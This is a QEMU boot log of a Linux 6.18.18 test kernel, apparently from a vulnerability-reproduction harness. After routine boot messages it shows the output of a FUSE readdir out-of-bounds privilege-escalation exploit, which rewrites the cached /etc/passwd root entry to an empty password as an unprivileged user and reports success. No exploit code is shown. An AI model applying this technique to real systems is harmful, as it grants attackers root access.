c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+2EFC8B80+2EF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 6.18.18 (vscode@e35a0ac465dd) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #2 SMP PREEMPT_DYNAMIC Fri Jul 3 17:24:53 UTC 2026 [ 0.000000] Command line: console=ttyS0 root=/dev/vda ro init=/init panic=1 proof_role=vuln [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000002ffdcfff] usable [ 0.000000] BIOS-e820: [mem 0x000000002ffdd000-0x000000002fffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.089 MHz processor [ 0.021777] last_pfn = 0x2ffdd max_arch_pfn = 0x400000000 [ 0.022464] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.022654] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.039897] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.051658] ACPI: Early table checksum verification disabled [ 0.052087] ACPI: RSDP 0x00000000000F5270 000014 (v00 BOCHS ) [ 0.052450] ACPI: RSDT 0x000000002FFE233B 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053238] ACPI: FACP 0x000000002FFE21EF 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053975] ACPI: DSDT 0x000000002FFE0040 0021AF (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054185] ACPI: FACS 0x000000002FFE0000 000040 [ 0.054293] ACPI: APIC 0x000000002FFE2263 000078 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054408] ACPI: HPET 0x000000002FFE22DB 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054494] ACPI: WAET 0x000000002FFE2313 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054650] ACPI: Reserving FACP table memory at [mem 0x2ffe21ef-0x2ffe2262] [ 0.054708] ACPI: Reserving DSDT table memory at [mem 0x2ffe0040-0x2ffe21ee] [ 0.054740] ACPI: Reserving FACS table memory at [mem 0x2ffe0000-0x2ffe003f] [ 0.054769] ACPI: Reserving APIC table memory at [mem 0x2ffe2263-0x2ffe22da] [ 0.054797] ACPI: Reserving HPET table memory at [mem 0x2ffe22db-0x2ffe2312] [ 0.054825] ACPI: Reserving WAET table memory at [mem 0x2ffe2313-0x2ffe233a] [ 0.061034] No NUMA configuration found [ 0.061109] Faking a node at [mem 0x0000000000000000-0x000000002ffdcfff] [ 0.061890] NODE_DATA(0) allocated [mem 0x2ffd9900-0x2ffdcfff] [ 0.063781] Zone ranges: [ 0.063819] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.063919] DMA32 [mem 0x0000000001000000-0x000000002ffdcfff] [ 0.063957] Normal empty [ 0.063989] Movable zone start for each node [ 0.064022] Early memory node ranges [ 0.064051] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.064259] node 0: [mem 0x0000000000100000-0x000000002ffdcfff] [ 0.064454] Initmem setup node 0 [mem 0x0000000000001000-0x000000002ffdcfff] [ 0.065803] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.068727] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.204891] On node 0, zone DMA32: 35 pages in unavailable ranges [ 0.354613] KernelAddressSanitizer initialized (generic) [ 0.355238] ACPI: PM-Timer IO Port: 0x608 [ 0.355838] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.356438] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.356650] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.356955] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.357026] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.357169] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.357215] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.357532] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.357618] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.358212] CPU topo: Max. logical packages: 1 [ 0.358251] CPU topo: Max. logical dies: 1 [ 0.358275] CPU topo: Max. dies per package: 1 [ 0.358393] CPU topo: Max. threads per core: 1 [ 0.358578] CPU topo: Num. cores per package: 1 [ 0.358609] CPU topo: Num. threads per package: 1 [ 0.358630] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs [ 0.359652] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.359727] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.359861] [mem 0x30000000-0xfffbffff] available for PCI devices [ 0.359932] Booting paravirtualized kernel on bare hardware [ 0.360319] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.490852] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1 [ 0.492770] percpu: Embedded 64 pages/cpu s222360 r8192 d31592 u2097152 [ 0.495511] Kernel command line: console=ttyS0 root=/dev/vda ro init=/init panic=1 proof_role=vuln [ 0.497518] Unknown kernel command line parameters "proof_role=vuln", will be passed to user space. [ 0.497803] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.498531] Dentry cache hash table entries: 131072 (order: 8, 1048576 bytes, linear) [ 0.498843] Inode-cache hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 0.502630] Fallback order for Node 0: 0 [ 0.502946] Built 1 zonelists, mobility grouping on. Total pages: 196475 [ 0.502993] Policy zone: DMA32 [ 0.503255] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 0.503347] stackdepot: allocating hash table via alloc_large_system_hash [ 0.503452] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 0.510483] stackdepot: allocating space for 8192 stack pools via memblock [ 0.567457] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 0.587872] Dynamic Preempt: voluntary [ 0.594904] rcu: Preemptible hierarchical RCU implementation. [ 0.594932] rcu: RCU event tracing is enabled. [ 0.594964] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1. [ 0.595113] Trampoline variant of Tasks RCU enabled. [ 0.595141] Tracing variant of Tasks RCU enabled. [ 0.595263] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 0.595309] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1 [ 0.597830] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 0.597960] RCU Tasks Trace: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 1.048114] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16 [ 1.061182] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 1.069235] Console: colour VGA+ 80x25 [ 1.071658] printk: legacy console [ttyS0] enabled [ 1.093803] ACPI: Core revision 20250807 [ 1.105031] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 1.111425] APIC: Switch to symmetric I/O mode setup [ 1.120951] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 1.126822] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3e999d591, max_idle_ns: 440795248403 ns [ 1.128435] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.17 BogoMIPS (lpj=3000089) [ 1.134020] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 1.134289] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 1.134854] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 1.135655] Spectre V2 : Mitigation: Retpolines [ 1.135983] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 1.136397] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 1.139739] x86/fpu: x87 FPU will use FXSAVE [ 1.872524] Freeing SMP alternatives memory: 52K [ 1.873954] pid_max: default: 32768 minimum: 301 [ 1.883934] LSM: initializing lsm=capability,selinux [ 1.886985] SELinux: Initializing. [ 1.896038] Mount-cache hash table entries: 2048 (order: 2, 16384 bytes, linear) [ 1.896408] Mountpoint-cache hash table entries: 2048 (order: 2, 16384 bytes, linear) [ 2.045553] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.067790] Performance Events: PMU not available due to virtualization, using software events only. [ 2.069275] signal: max sigframe size: 1440 [ 2.072135] rcu: Hierarchical SRCU implementation. [ 2.072324] rcu: Max phase no-delay instances is 400. [ 2.095795] smp: Bringing up secondary CPUs ... [ 2.099167] smp: Brought up 1 node, 1 CPU [ 2.099808] smpboot: Total of 1 processors activated (6000.17 BogoMIPS) [ 2.112813] Memory: 579004K/785900K available (28106K kernel code, 8962K rwdata, 11980K rodata, 5644K init, 2064K bss, 203384K reserved, 0K cma-reserved) [ 2.126614] devtmpfs: initialized [ 2.178304] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 2.180018] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear) [ 2.180691] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear). [ 2.187579] PM: RTC time: 18:04:45, date: 2026-07-03 [ 2.199427] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 2.213145] audit: initializing netlink subsys (disabled) [ 2.216625] audit: type=2000 audit(1783101885.101:1): state=initialized audit_enabled=0 res=1 [ 2.230257] thermal_sys: Registered thermal governor 'step_wise' [ 2.231158] cpuidle: using governor menu [ 2.242316] PCI: Using configuration type 1 for base access [ 2.246631] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 2.260119] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 2.260405] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 2.292214] ACPI: Added _OSI(Module Device) [ 2.292435] ACPI: Added _OSI(Processor Device) [ 2.292605] ACPI: Added _OSI(Processor Aggregator Device) [ 3.395848] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 3.581751] ACPI: Interpreter enabled [ 3.584765] ACPI: PM: (supports S0 S3 S4 S5) [ 3.584982] ACPI: Using IOAPIC for interrupt routing [ 3.586712] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 3.587037] PCI: Using E820 reservations for host bridge windows [ 3.648371] ACPI: Enabled 2 GPEs in block 00 to 0F [ 5.217054] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 5.218656] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 5.219063] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 5.223114] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 5.235105] PCI host bridge to bus 0000:00 [ 5.236963] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 5.237384] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 5.273619] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 5.274027] pci_bus 0000:00: root bus resource [mem 0x30000000-0xfebfffff window] [ 5.274304] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window] [ 5.274883] pci_bus 0000:00: root bus resource [bus 00-ff] [ 5.277052] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 5.299039] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 5.342756] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 5.343848] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 5.344143] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 5.344395] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 5.344634] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 5.345652] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 5.370973] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 5.379863] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 5.380133] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 5.429059] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 5.429912] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 5.430215] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 5.430445] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 5.431800] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 5.447926] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 5.448617] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 5.448849] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 5.449017] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 6.078319] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 6.079664] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 6.079931] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 6.080245] pci 0000:00:04.0: BAR 4 [mem 0xfe000000-0xfe003fff 64bit pref] [ 6.806294] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 6.862420] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 6.913060] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 6.960627] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 6.982237] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 7.080781] iommu: Default domain type: Translated [ 7.081097] iommu: DMA domain TLB invalidation policy: lazy mode [ 7.106406] SCSI subsystem initialized [ 7.121017] ACPI: bus type USB registered [ 7.123997] usbcore: registered new interface driver usbfs [ 7.127031] usbcore: registered new interface driver hub [ 7.129953] usbcore: registered new device driver usb [ 7.134697] pps_core: LinuxPPS API ver. 1 registered [ 7.134910] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 7.135508] PTP clock support registered [ 7.150076] Advanced Linux Sound Architecture Driver Initialized. [ 7.209880] NetLabel: Initializing [ 7.210055] NetLabel: domain hash size = 128 [ 7.210181] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 7.212886] NetLabel: unlabeled traffic allowed by default [ 7.224517] PCI: Using ACPI for IRQ routing [ 7.247553] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 7.247553] pci 0000:00:02.0: vgaarb: bridge control possible [ 7.247553] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 7.247619] vgaarb: loaded [ 7.251697] hpet: 3 channels of 0 reserved for per-cpu timers [ 7.252918] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 7.253267] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 7.275092] clocksource: Switched to clocksource tsc-early [ 7.311546] VFS: Disk quotas dquot_6.6.0 [ 7.312320] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 7.354245] pnp: PnP ACPI init [ 7.492308] pnp: PnP ACPI: found 6 devices [ 7.833264] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 7.844868] NET: Registered PF_INET protocol family [ 7.848542] IP idents hash table entries: 16384 (order: 5, 131072 bytes, linear) [ 7.888453] tcp_listen_portaddr_hash hash table entries: 512 (order: 1, 8192 bytes, linear) [ 7.888964] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 7.891111] TCP established hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 7.893121] TCP bind hash table entries: 8192 (order: 6, 262144 bytes, linear) [ 7.894981] TCP: Hash tables configured (established 8192 bind 8192) [ 7.900115] UDP hash table entries: 512 (order: 3, 32768 bytes, linear) [ 7.900619] UDP-Lite hash table entries: 512 (order: 3, 32768 bytes, linear) [ 7.904558] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 7.914452] RPC: Registered named UNIX socket transport module. [ 7.914782] RPC: Registered udp transport module. [ 7.914946] RPC: Registered tcp transport module. [ 7.915116] RPC: Registered tcp-with-tls transport module. [ 7.915277] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 7.934597] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 7.934974] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 7.935241] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 7.935447] pci_bus 0000:00: resource 7 [mem 0x30000000-0xfebfffff window] [ 7.935633] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window] [ 7.942194] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 7.942607] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 7.943582] PCI: CLS 0 bytes, default 64 [ 7.988344] Initialise system trusted keyrings [ 7.991663] workingset: timestamp_bits=56 max_order=18 bucket_order=0 [ 8.016205] NFS: Registering the id_resolver key type [ 8.017051] Key type id_resolver registered [ 8.017289] Key type id_legacy registered [ 8.020632] 9p: Installing v9fs 9p2000 file system support [ 8.280078] Key type asymmetric registered [ 8.280448] Asymmetric key parser 'x509' registered [ 8.282379] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 8.283613] io scheduler mq-deadline registered [ 8.283973] io scheduler kyber registered [ 8.295556] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 8.307669] ACPI: button: Power Button [PWRF] [ 8.791015] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 8.805797] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 8.821243] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 8.869581] Non-volatile memory driver v1.3 [ 8.870188] Linux agpgart interface v0.103 [ 8.877239] ACPI: bus type drm_connector registered [ 8.955068] tsc: Refined TSC clocksource calibration: 3000.105 MHz [ 8.955783] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3ea8398bd, max_idle_ns: 440795218084 ns [ 8.958137] clocksource: Switched to clocksource tsc [ 9.036531] loop: module loaded [ 9.065490] virtio_blk virtio0: 1/0/0 default/read/poll queues [ 9.087141] virtio_blk virtio0: [vda] 65536 512-byte logical blocks (33.6 MB/32.0 MiB) [ 9.187670] scsi host0: ata_piix [ 9.200019] scsi host1: ata_piix [ 9.205909] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 9.206259] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 9.240440] e100: Intel(R) PRO/100 Network Driver [ 9.240623] e100: Copyright(c) 1999-2006 Intel Corporation [ 9.242063] e1000: Intel(R) PRO/1000 Network Driver [ 9.242229] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 9.364191] ata2: found unknown device (class 0) [ 9.374907] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 9.402413] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 9.450000] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 9.450882] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 9.535281] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 9.818232] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 10.124200] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 10.125256] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 10.128260] e1000e: Intel(R) PRO/1000 Network Driver [ 10.128435] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 10.130062] sky2: driver version 1.30 [ 10.146804] usbcore: registered new interface driver usblp [ 10.148200] usbcore: registered new interface driver usb-storage [ 10.151417] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 10.157898] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 10.158492] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 10.176173] rtc_cmos 00:05: RTC can wake from S4 [ 10.196032] rtc_cmos 00:05: registered as rtc0 [ 10.199250] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 10.207212] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 10.208152] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 10.209755] hid: raw HID events driver (C) Jiri Kosina [ 10.234193] usbcore: registered new interface driver usbhid [ 10.234401] usbhid: USB HID core driver [ 10.255443] Initializing XFRM netlink socket [ 10.257526] NET: Registered PF_INET6 protocol family [ 10.279158] Segment Routing with IPv6 [ 10.280370] In-situ OAM (IOAM) with IPv6 [ 10.282567] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 10.297456] NET: Registered PF_PACKET protocol family [ 10.300177] 9pnet: Installing 9P2000 support [ 10.301415] Key type dns_resolver registered [ 10.310141] IPI shorthand broadcast: enabled [ 10.609955] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input2 [ 10.636606] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input3 [ 11.061493] sched_clock: Marking stable (11008058257, 52658822)->(11093183309, -32466230) [ 11.071066] registered taskstats version 1 [ 11.071277] Loading compiled-in X.509 certificates [ 11.450755] Demotion targets for Node 0: null [ 11.459566] PM: Magic number: 2:653:88 [ 11.460989] netconsole: network logging started [ 11.466841] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 11.479954] kworker/u4:0 (50) used greatest stack depth: 29312 bytes left [ 11.505469] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 11.512398] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 11.515865] ALSA device list: [ 11.516392] No soundcards found. [ 11.524062] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 11.524667] cfg80211: failed to load regulatory.db [ 11.534511] check access for rdinit=/init failed: -2, ignoring [ 11.535271] md: Waiting for all devices to be available before autodetect [ 11.535460] md: If you don't use raid, use raid=noautodetect [ 11.535657] md: Autodetecting RAID arrays. [ 11.536014] md: autorun ... [ 11.536157] md: ... autorun DONE. [ 11.649394] EXT4-fs (vda): orphan cleanup on readonly fs [ 11.656951] EXT4-fs (vda): mounted filesystem b652209d-8f72-4963-bf23-2aca2cc2ba19 ro with ordered data mode. Quota mode: none. [ 11.658433] VFS: Mounted root (ext4 filesystem) readonly on device 253:0. [ 11.663194] devtmpfs: mounted [ 11.736683] Freeing unused kernel image (initmem) memory: 5644K [ 11.737322] Write protecting the kernel read-only data: 40960k [ 11.742583] Freeing unused kernel image (text/rodata gap) memory: 564K [ 11.744574] Freeing unused kernel image (rodata/data gap) memory: 308K [ 12.322918] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 12.324362] Run /init as init process [ 12.473808] busybox (55) used greatest stack depth: 27840 bytes left mount: mounting devtmpfs on /dev failed: Device or resource busy [ 12.782784] fuse: init (API version 7.45) [ 12.803319] busybox (61) used greatest stack depth: 26528 bytes left INIT_ROLE=vuln INIT_KERNEL=6.18.18 INIT_ROOTFS_ACTIVE=/dev/vda INIT_BEFORE=root:x:0:0:root:/root:/bin/sh [drain] MemFree=534MB -> drain=53 blocks (53MB) === FUSE readdir OOB - LPE === === drain 53MB + pool 128 === [+] FUSE at /tmp/fuse_oob_Zb8m4s (mounted by privileged harness) [+] Dropping to uid/gid 1000 before attacker-controlled READDIR and target corruption [+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd [+] Direct write check as uid 1000: Read-only file system [+] target passwd backed up (71 bytes) --- Warmup --- [*] W1/5 ... HIT (1) [*] W2/5 ... miss [*] W3/5 ... HIT (2) [*] W4/5 ... miss [*] W5/5 ... HIT (3) [+] Warmup: 3/5 (60%) --- LPE --- [+] before: root:x:0:0:root:/root:/bin/sh [*] LPE 1/200 ... miss [*] LPE 2/200 ... [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.: HIT! [+] Page cache corrupted ======================================== [+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd [+] target first line after overflow: root::0:0:x:.: [+] An unprivileged process changed the cached contents of a root-owned passwd file without write permission. ======================================== [ 16.269563] fuse_passwd_lpe (64) used greatest stack depth: 25800 bytes left INIT_EXPLOIT_RC=0 INIT_AFTER=root::0:0:x:.: INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED [ 16.708040] ACPI: PM: Preparing to enter system sleep state S5 [ 16.710597] reboot: Power down